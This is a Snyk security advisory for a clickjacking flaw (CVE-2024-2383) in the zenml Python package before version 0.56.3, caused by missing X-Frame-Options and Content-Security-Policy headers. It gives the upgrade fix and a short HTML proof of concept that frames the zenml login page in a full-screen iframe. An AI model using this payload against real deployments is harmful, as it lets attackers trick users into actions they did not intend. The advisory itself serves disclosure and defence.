Improper Restriction of Rendered UI Layers or Frames Affecting zenml package, versions [,0.56.3)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (19th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-ZENML-7218839
  • published7 Jun 2024
  • disclosed6 Jun 2024
  • creditLê Ngọc Hoa

Introduced: 6 Jun 2024

CVE-2024-2383  (opens in a new tab)
CWE-1021  (opens in a new tab)

How to fix?

Upgrade zenml to version 0.56.3 or higher.

Overview

zenml is a ZenML: Write production-ready ML code.

Affected versions of this package are vulnerable to Improper Restriction of Rendered UI Layers or Frames due to the application's failure to set appropriate X-Frame-Options or Content-Security-Policy HTTP headers. An attacker can trick users into interacting with the interface under the attacker's control by embedding the application UI within an iframe on a malicious page.

PoC

<!DOCTYPE html>
<html>
<head>
<title>Clickjacking PoC</title>
<style>
    body, html {
        margin: 0;
        padding: 0;
        height: 100%;
        overflow: hidden;
    }
    iframe {
        position: absolute;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        border: none;
    }
</style>
</head>
<body>
<iframe src="http://localhost:8080/login?route=%2Fworkspaces%2Fdefault%3F"></iframe>
</body>
</html>

References

CVSS Scores

version 3.1